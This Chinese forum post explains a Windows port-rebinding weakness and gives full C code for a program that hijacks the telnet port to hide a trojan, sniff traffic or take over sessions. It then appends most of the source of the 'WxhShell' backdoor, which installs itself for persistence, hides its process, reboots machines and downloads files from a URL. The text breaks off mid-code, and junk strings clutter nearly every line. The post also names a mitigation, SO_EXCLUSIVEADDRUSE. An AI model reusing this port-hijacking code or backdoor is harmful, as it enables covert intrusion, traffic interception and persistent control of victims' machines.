社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18063阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ggbz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nPjK=o`KR  
p& Kfy~  
  saddr.sin_family = AF_INET; |z0% q2(  
 $3cZS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8zho\'  
mp*?GeV?M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O;0VKNn['  
`4ti?^BNm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j-| !QlB  
5inCAPXz  
  这意味着什么?意味着可以进行如下的攻击: nXERj; Q"  
1'1>B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #@E:|^$1y  
FRsp?i K)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;"8BbF.  
"1 UpoF'w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NIp]n[ =.q  
(g1Op~EM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jPn.w,=)27  
N7_(,Gu*R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )&%Y{a#  
:G &:v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k+hl6$:Qj%  
VeOM `jy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wU"w  
(#]9{ C;  
  #include ``>z8t[ks  
  #include X(Z(cY(  
  #include U6YHq2<  
  #include    #];ulDq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A f}o/g  
  int main() |<uBJ-5  
  { g@Rs.Zq  
  WORD wVersionRequested; 7JBr{3;eS  
  DWORD ret; v<mSd2B*  
  WSADATA wsaData; apnpy\in  
  BOOL val; #8y"1I=i&  
  SOCKADDR_IN saddr; wn\ R|'Rdz  
  SOCKADDR_IN scaddr; v4Kf{9q#  
  int err; ]2A2<Q_,  
  SOCKET s; ?6h~P:n.  
  SOCKET sc; n3$u9!|P  
  int caddsize; 3#eAXIW[  
  HANDLE mt; -vc ,O77z"  
  DWORD tid;   t[MM=6|Wb  
  wVersionRequested = MAKEWORD( 2, 2 ); imB/P M  
  err = WSAStartup( wVersionRequested, &wsaData ); alBnN<UM  
  if ( err != 0 ) { :m>Vp  
  printf("error!WSAStartup failed!\n"); PzustC|  
  return -1; BnaI30-  
  }  \+:`nz3m  
  saddr.sin_family = AF_INET; \ rKUPI\  
   cg9*+]rc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =)a %,H  
q#\B}'I{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +{#Z^y6&  
  saddr.sin_port = htons(23); 9_ ~9?5PU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >:BgatyPH  
  { RMdU1@  
  printf("error!socket failed!\n"); j]aIJbi  
  return -1; G3h"Eo?>g  
  } PH'n`D #  
  val = TRUE; XV,ce~ro[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 IYa(B+nB)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e*d lGK3l  
  { A+FQmLS  
  printf("error!setsockopt failed!\n"); _rz\[{)  
  return -1; +fq\K]  
  } ;vn0b"Fi3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }vg|05L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uO1^nK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7p>T6jK)  
r> .l^U9hJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Qh* }v!3Jo  
  { YdUcO.V  
  ret=GetLastError(); c5pK%I}O  
  printf("error!bind failed!\n"); 5'%O]~  
  return -1; J/PK #<  
  }  '{cFr  
  listen(s,2); 6rO^ p  
  while(1) `G=+qti  
  { LLoV]~dvUu  
  caddsize = sizeof(scaddr); 12Fnv/[n'K  
  //接受连接请求 7uO tdH+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6z'0fi|EN  
  if(sc!=INVALID_SOCKET) 77j"zr7v  
  { ?v'CuWS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 735l&(3A\  
  if(mt==NULL) %4BQY>O)@  
  { w{]B)>! 1W  
  printf("Thread Creat Failed!\n"); @moaa}1  
  break; Ak$9\Sl  
  } /UaQ 2h\  
  } $-<yX<.  
  CloseHandle(mt); k0TQFx.A  
  } fG{3S:TQq  
  closesocket(s); fd62m]X  
  WSACleanup(); "Nz"|-3Irv  
  return 0; Yq:/dpA_  
  }   MYR\W*B'b  
  DWORD WINAPI ClientThread(LPVOID lpParam) x@:98P  
  { 8cRc5X  
  SOCKET ss = (SOCKET)lpParam; 9Vt6);cA-]  
  SOCKET sc; jwI1 I{x  
  unsigned char buf[4096]; -O?A"  
  SOCKADDR_IN saddr; <TS ps!(#  
  long num; !>&G+R+k  
  DWORD val; J%fJF//U  
  DWORD ret;  Bgai|l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OC\cN%qlw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^;?w<9Y  
  saddr.sin_family = AF_INET; SCfk!GBVD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }g[Hi`  
  saddr.sin_port = htons(23); ^PMA"!n8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8v)HTD/C  
  { 0BAZWm  
  printf("error!socket failed!\n"); _T=";NSa  
  return -1; ^}:0\;|N  
  } c)q=il7ef  
  val = 100; -x?|[ +%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rxZk!- t)L  
  { %:dd#';g  
  ret = GetLastError(); V P7LKfv  
  return -1; >!c Ff$2'  
  } P E[5oH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )ub!tm  
  { mXsSOAD<  
  ret = GetLastError(); 5bol)Z9BO  
  return -1; =w:H9uj6F  
  } t*Z-]P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) er>{#8 P  
  { Upm#:i|"  
  printf("error!socket connect failed!\n"); "g(q)u >  
  closesocket(sc); PI8ag  
  closesocket(ss); h-o;vC9fC  
  return -1; e"Z,!Q^-L  
  } CM `Q((  
  while(1) +.$:ZzH#  
  { 2Ns<lh   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $0]5b{i]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9N|JI3*41  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TBHd)BhI.  
  num = recv(ss,buf,4096,0); 0 eOdE+  
  if(num>0) H/*i-%]v+(  
  send(sc,buf,num,0); ")fgQ3XZ  
  else if(num==0) K5(T7S  
  break; x26 sH5  
  num = recv(sc,buf,4096,0); HhzPKd  
  if(num>0) j",*&sy  
  send(ss,buf,num,0); 1o)<23q`)  
  else if(num==0) Ysi@wK-LnF  
  break; P+3 ]g{2w  
  } DG3Mcf@5  
  closesocket(ss); ADMeOdgca  
  closesocket(sc); Q0Gfwl  
  return 0 ; ~\%H0.P6  
  } IY?o \vC  
bf\ Uq<&IJ  
!'>#!S~h3  
========================================================== gUp9yV  
^Je*k)COn  
下边附上一个代码,,WXhSHELL D9n+eZ  
9YBlMf`KEf  
========================================================== 9,}Z1 f\%  
5+)_d%v=6!  
#include "stdafx.h" O /h1ew  
QKoJxjR=^  
#include <stdio.h> T$V8 n_;  
#include <string.h> mrVN&.  
#include <windows.h> fo I:`]2"*  
#include <winsock2.h> CT|H1Ry2T  
#include <winsvc.h> "7?xaGh8  
#include <urlmon.h> ;[|+tO_  
{|e7^_ke  
#pragma comment (lib, "Ws2_32.lib") E/E|*6R  
#pragma comment (lib, "urlmon.lib") &(20*Vn,O  
UG<<.1JL  
#define MAX_USER   100 // 最大客户端连接数 (k%r_O6  
#define BUF_SOCK   200 // sock buffer zK*i:(>B  
#define KEY_BUFF   255 // 输入 buffer 8#Y_]Z?)  
d~b @F&mf  
#define REBOOT     0   // 重启 GVdJ&d\x  
#define SHUTDOWN   1   // 关机 /EvT%h?p  
XK(aH~7xme  
#define DEF_PORT   5000 // 监听端口 nYK!'x$  
vE~<R  
#define REG_LEN     16   // 注册表键长度 4 @9cO)m  
#define SVC_LEN     80   // NT服务名长度 Lf8{']3  
&7c#i  
// 从dll定义API tTJ$tx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'RR,b*Ql  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?Y9VviC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YJwffV}nd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); };cH5bYF  
w/7vXz<  
// wxhshell配置信息 ck8Qs08  
struct WSCFG { /NVyzM51V  
  int ws_port;         // 监听端口 zG&yu0;D6  
  char ws_passstr[REG_LEN]; // 口令 u 0 K1n_  
  int ws_autoins;       // 安装标记, 1=yes 0=no QW%xwV?8  
  char ws_regname[REG_LEN]; // 注册表键名 QX9['B<  
  char ws_svcname[REG_LEN]; // 服务名 6 %T_;"hb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -"xC\R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j!a&l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k6_OP]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /IC]}0kkp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m9Dg%\B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "+BuFhSLf  
PC)V".W 1  
}; PS??wlp7  
M5]$w]Ny9  
// default Wxhshell configuration 5eas^Rm  
struct WSCFG wscfg={DEF_PORT, J {\]ZPs  
    "xuhuanlingzhe", *0 ;|  
    1, kwFo*1 {  
    "Wxhshell", |%=c<z+8  
    "Wxhshell", m9aP]I3g]\  
            "WxhShell Service", .r-kH&)"GU  
    "Wrsky Windows CmdShell Service", }cg 1CT5  
    "Please Input Your Password: ", Zb~G&. 2g  
  1, V}4u1oG  
  "http://www.wrsky.com/wxhshell.exe", pz/vvH5  
  "Wxhshell.exe" 75']fFO@!  
    }; ;B"S*wYMN  
&F +hh{  
// 消息定义模块 RD*.n1N1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %#7^b=;=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AT I2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E~,Wpl}  
char *msg_ws_ext="\n\rExit."; ]@sLX ek  
char *msg_ws_end="\n\rQuit."; &>hln<a>  
char *msg_ws_boot="\n\rReboot..."; `mKK1x  
char *msg_ws_poff="\n\rShutdown..."; X!]p8Q y  
char *msg_ws_down="\n\rSave to "; ybgw#jv=  
?w@KF%D  
char *msg_ws_err="\n\rErr!"; jiLt *>I  
char *msg_ws_ok="\n\rOK!"; ?yvjX90  
2iWxx:e  
char ExeFile[MAX_PATH]; g0RfvR  
int nUser = 0; >zv}59M  
HANDLE handles[MAX_USER]; Y!CGuLHL`[  
int OsIsNt; IN!IjInaT@  
Je~<2EsQ  
SERVICE_STATUS       serviceStatus; ;<|m0>X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /k^O1+]H  
Y; q['h  
// 函数声明 z%L\EP;o}  
int Install(void); P.]O8r  
int Uninstall(void); D-\z'gS  
int DownloadFile(char *sURL, SOCKET wsh); ,SoqVboRl  
int Boot(int flag); x% Eu.jj  
void HideProc(void); p87VJ}  
int GetOsVer(void); <(2,@_~@r  
int Wxhshell(SOCKET wsl); 'FGf#l<  
void TalkWithClient(void *cs); 8x<; AL|`  
int CmdShell(SOCKET sock); |'12Kv]#Xa  
int StartFromService(void); </7?puVR  
int StartWxhshell(LPSTR lpCmdLine); 0'^zIL#.  
V?Ye^ -29  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K#'{Ko  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8'Bik  
{;Y2O.lV  
// 数据结构和表定义 tje   
SERVICE_TABLE_ENTRY DispatchTable[] = A(qy>x-BI  
{ e/V8lo  
{wscfg.ws_svcname, NTServiceMain}, GAcU8  MD  
{NULL, NULL} {@`Z`h" N  
}; +8q]O%B   
4 O~zkg  
// 自我安装 wLH[rwPr  
int Install(void) n$(_(&  
{ O8WLulo  
  char svExeFile[MAX_PATH]; /g]m,Y{OI  
  HKEY key; o_ SR  
  strcpy(svExeFile,ExeFile); qi-!iT(fe  
{!7 ^ w  
// 如果是win9x系统,修改注册表设为自启动 +"2IQme5  
if(!OsIsNt) { i^u5j\pfY*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l+i9)Fc<i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?hwT{h  
  RegCloseKey(key); '-m )fWf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6/eh~ME=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F;_L/8Ov1  
  RegCloseKey(key); ?W4IAbT\G  
  return 0; [#6Eax,j  
    } ^H UNq[sQ  
  } E;^~}  
} <eG8xC  
else { *%xmCP J  
X3;|h93.a  
// 如果是NT以上系统,安装为系统服务 or1D 6 *'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &B5@\Hd;  
if (schSCManager!=0) w6[uM%fHG  
{ #97w6,P+  
  SC_HANDLE schService = CreateService f_GqJ7Gk]  
  ( N_"mC^Vx  
  schSCManager, , H_Cn1l  
  wscfg.ws_svcname, 1]vrpJw  
  wscfg.ws_svcdisp, uyITUvPg[  
  SERVICE_ALL_ACCESS, m;d#*}n\p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7'9~Kx&+  
  SERVICE_AUTO_START, Iz<}>J B  
  SERVICE_ERROR_NORMAL, IT_Fs|$  
  svExeFile, 5%n  
  NULL, W{2(fb  
  NULL, i0-zGEMB.  
  NULL, X}$uvB}+>  
  NULL, [#emm1k  
  NULL 3<nd;@:-  
  ); %}asw/WiUa  
  if (schService!=0) O7z -4r  
  { U`fxe`nVa  
  CloseServiceHandle(schService); ]Kb3'je  
  CloseServiceHandle(schSCManager); A!Ls<D.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~L.)<{?  
  strcat(svExeFile,wscfg.ws_svcname); 'rw nAr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sOBy)vq?\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (PmaVwF  
  RegCloseKey(key); "e\:Cq>\  
  return 0; ,#P eK(  
    } f._FwD  
  } n-7|{1U  
  CloseServiceHandle(schSCManager); ,!?&LdPt>  
} k )T;WCia  
} h)qapC5z,  
sKT GZA  
return 1; )0I;+9:D=  
} '8 ~E  
71?>~PnbH}  
// 自我卸载 L-lDvc?5c  
int Uninstall(void) Z?^~f}+  
{ ;-1yG@KG  
  HKEY key; ,nELWzz%{  
MR@*09zP(?  
if(!OsIsNt) {  OBCRZ   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4M&6q(389  
  RegDeleteValue(key,wscfg.ws_regname); M"eiKX  
  RegCloseKey(key); ytXXZ`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4EiEE{9V  
  RegDeleteValue(key,wscfg.ws_regname); "&ElKy 7j  
  RegCloseKey(key); @,RrAL }|  
  return 0; )(|+z'  
  } k%?fy  
} b{KpfbxcI  
} \i-HECc"U  
else { (@H'7,  
)h0F'MzW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pbe" w=<  
if (schSCManager!=0) 'W/E*O6BY  
{ h<50jnH!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A7!=`yA$  
  if (schService!=0) }l/ !thzC  
  { h4 s!VK1X  
  if(DeleteService(schService)!=0) { JR1/\F<}  
  CloseServiceHandle(schService); `4& GumG  
  CloseServiceHandle(schSCManager); (0Xgv3wd  
  return 0; U!L<v!$  
  } e?%Qv+)W  
  CloseServiceHandle(schService); =Zcbfo_&  
  } $4\,a^  
  CloseServiceHandle(schSCManager); ]C =+  
} x>^r%<WbX  
} p xrd D7  
p2;-*D  
return 1; xe;1D'(   
} rkdwGqG  
w6M EY"<L  
// 从指定url下载文件 tc%?{W\  
int DownloadFile(char *sURL, SOCKET wsh) }>\+eG  
{ %.kJ@@_e  
  HRESULT hr; g_\U-pzr  
char seps[]= "/"; 6_a42#  
char *token; hVe@:1og#  
char *file; 8kz7*AO  
char myURL[MAX_PATH]; Q]7Rqslz  
char myFILE[MAX_PATH];  opK=Z  
Ldnw1xy  
strcpy(myURL,sURL); 2-9'zN0u  
  token=strtok(myURL,seps); }\E2Z[  
  while(token!=NULL) smLXNO  
  { [.O 3z*[9#  
    file=token; ]~:9b[G2  
  token=strtok(NULL,seps); f>Mg.9gJ(  
  } 51Yq>'8  
0^VA,QkQ\  
GetCurrentDirectory(MAX_PATH,myFILE); 5+<<:5_6l  
strcat(myFILE, "\\"); Zb)j2Xgl  
strcat(myFILE, file); 8}FZ1h2 4  
  send(wsh,myFILE,strlen(myFILE),0); Tz H*?bpP  
send(wsh,"...",3,0); S.bB.<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8S_i;  
  if(hr==S_OK) 8v7;{4^  
return 0; 2YD;Gb[8  
else tl|Qw";I  
return 1; Dz4fP;n  
IG?044Y  
} `Z*k M VN  
 hfpSxL  
// 系统电源模块 D}1Z TX_  
int Boot(int flag) !JtVp&?  
{ __\Tv>Y  
  HANDLE hToken; V 45\.V  
  TOKEN_PRIVILEGES tkp; A+Nf]([  
U$j*{`$4  
  if(OsIsNt) { H@$\SUc{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9IgozYj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I4kN4*d!N,  
    tkp.PrivilegeCount = 1; tH0=ysf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d Ybb>rlu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^lCys  
if(flag==REBOOT) { ?Xscc mN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #!d@;= [\  
  return 0; #M;Cw}pW  
} 0GW(?7ZC  
else { @GzEhv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R=jIVw'  
  return 0; ">QNiR!  
} [bd fp a  
  } X p4x:N  
  else { tL68 u[  
if(flag==REBOOT) { U$R+&@;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6@`Y6>}$_  
  return 0; !ydJ{\;  
} sfSM7f  
else { tSK{Abw1B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .!T]sX_P  
  return 0; R9X* R3nB  
} ,&S:(b[D  
} 1{B^RR.  
"V!y"yQ  
return 1; H"8fnN=xB  
} qy1$(3t$  
q.6$-w  
// win9x进程隐藏模块 PYDf|S7  
void HideProc(void) 'ojI_%9<  
{ KD9Y  
~C6Qp`VF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]K'iCYY  
  if ( hKernel != NULL ) "f|\":\  
  { ~GJJ{Bm_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GQXN1R   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f.ku v"  
    FreeLibrary(hKernel); OHixOI$O  
  } 5bZf$$b  
#gbJ$1s  
return; `z<k7ig  
} qiQS:0|_  
qSh^|;2?R  
// 获取操作系统版本 +qsNz*@p"  
int GetOsVer(void) ]r;-Lx{F  
{ _w8iPL5:  
  OSVERSIONINFO winfo; s^Lg*t 3I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #Aox$[|@  
  GetVersionEx(&winfo); 6T>e~<^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f8um.Xnp6  
  return 1; PzThVeJ+  
  else )h-Qi#{  
  return 0; 5 3=zHYQ  
} b]s.h8+v;  
4:Adn?"  
// 客户端句柄模块 `!<RP'  
int Wxhshell(SOCKET wsl) %dMq'j  
{ 0q`n]NM  
  SOCKET wsh; .du FMJl  
  struct sockaddr_in client; 5}FPqyK"  
  DWORD myID; D6 B(6 5Y  
I%]L  
  while(nUser<MAX_USER) $Il?[4FF  
{ ,TY&N-  
  int nSize=sizeof(client); Y#Pl)sRr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C FY3D|  
  if(wsh==INVALID_SOCKET) return 1; m'&^\7;D  
{?c `0C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  qOO2@c  
if(handles[nUser]==0) _]W {)=ap  
  closesocket(wsh); Ar4@7  
else <4Z;a2l}U  
  nUser++; 5!Y51R^c  
  } A<esMDX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FV|/o%XqK  
]i\C4*  
  return 0; bgs2~50  
} Ym~*5|  
"I.PV$Rxl  
// 关闭 socket _&s37A&\  
void CloseIt(SOCKET wsh) :|i jCg+  
{ S EdNH.|I  
closesocket(wsh); L7i^?40  
nUser--;  w.kb/  
ExitThread(0); 86(8p_&zC  
} n DLr17  
/L,VZ?CmtK  
// 客户端请求句柄 lTOO`g  
void TalkWithClient(void *cs) GrWzgO  
{ <a_Q1 l  
pq0F!XmU  
  SOCKET wsh=(SOCKET)cs; \yeo-uN8  
  char pwd[SVC_LEN]; :n36}VG|  
  char cmd[KEY_BUFF]; 595P04  
char chr[1]; mup<%@7m  
int i,j; j_2-  
Zr`pOUk!4  
  while (nUser < MAX_USER) { G|5M~zP  
 =lIG#{`Q  
if(wscfg.ws_passstr) { i^LLKx7M&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9L+dN%C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F)x^AJi e  
  //ZeroMemory(pwd,KEY_BUFF); cnfjO g'\{  
      i=0; C^>txui8  
  while(i<SVC_LEN) { 0. _)X  
Ph(bgQg  
  // 设置超时  f,utA3[  
  fd_set FdRead; 3=( Gb  
  struct timeval TimeOut;  +c@s  
  FD_ZERO(&FdRead); XD>(M{~  
  FD_SET(wsh,&FdRead); V> K sbPqR  
  TimeOut.tv_sec=8; FSnF>3kj-  
  TimeOut.tv_usec=0; 0'ha!4h3Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RtZK2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); md8r"  
nZ>8r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CT1)tRN  
  pwd=chr[0]; + k1|+zzS  
  if(chr[0]==0xd || chr[0]==0xa) { ,r<!30~f  
  pwd=0; X.)caF^j  
  break; fh rS7f'Zd  
  } |q&&"SpA  
  i++; 59eq"08  
    } P{qi>FJqe  
%J`cYn#  
  // 如果是非法用户,关闭 socket a#i;*J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &m@~R|  
} n_}=G RR  
IBYRuaEB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (7 i@ @  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,'~8{,h5  
$GI2rzh  
while(1) { NY.Y=CF("  
7aAT  
  ZeroMemory(cmd,KEY_BUFF); R7xKVS_MP  
@I{v  
      // 自动支持客户端 telnet标准   zNe>fZ  
  j=0; 6wk/IJ`  
  while(j<KEY_BUFF) { pF~[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [UqJ3@>  
  cmd[j]=chr[0]; -*;-T9  
  if(chr[0]==0xa || chr[0]==0xd) { 1k&**!S]%  
  cmd[j]=0; qcYF&  
  break; y%* hHnGd  
  } YKF5|;}  
  j++; H=2sT+Sp  
    } gJYB)LjH"  
6$#p}nE  
  // 下载文件 <3aiS?i.h  
  if(strstr(cmd,"http://")) { f=0U&~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H^UuT  
  if(DownloadFile(cmd,wsh)) bB01aiUw@l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eJWcrVpn  
  else /b3b0VfF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \^7D% a=;C  
  } l ;TWs_N  
  else { MXy~kb&  
GjDs,9@f  
    switch(cmd[0]) { 2)O-EAn  
  pwq a/Yi  
  // 帮助 &PJ&XTR  
  case '?': { Hggp*(AQK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yht|0mZV  
    break; ')ZM# :G  
  } D[d+lq#p  
  // 安装 ";:"p6?  
  case 'i': { u=epnz:<  
    if(Install()) n}NO"eF>-s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FjUf|  
    else 4.?tP7UE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N7/eF9  
    break; 1A>>#M=A  
    } ZaxBr  
  // 卸载 sxac( L  
  case 'r': { \F_~?$  
    if(Uninstall()) {(o$? =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QFn .<@  
    else ][Ne;F6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lFHj]%Y  
    break; {rp5qgVE<  
    } h_O6Z2J1  
  // 显示 wxhshell 所在路径 LEnm6  
  case 'p': { 5v&mK 5zZ  
    char svExeFile[MAX_PATH]; lPA:aHcj  
    strcpy(svExeFile,"\n\r"); >]DnEF&  
      strcat(svExeFile,ExeFile); /5@4}m>Z@  
        send(wsh,svExeFile,strlen(svExeFile),0); :Taequk  
    break; 6 w"-&  
    } +4<Ij/}p  
  // 重启 zR)9]pJ-  
  case 'b': { 8T3j/ D<r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3vs;ZBM  
    if(Boot(REBOOT)) zq(R!a6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q& p'\6~  
    else { K x7'm1  
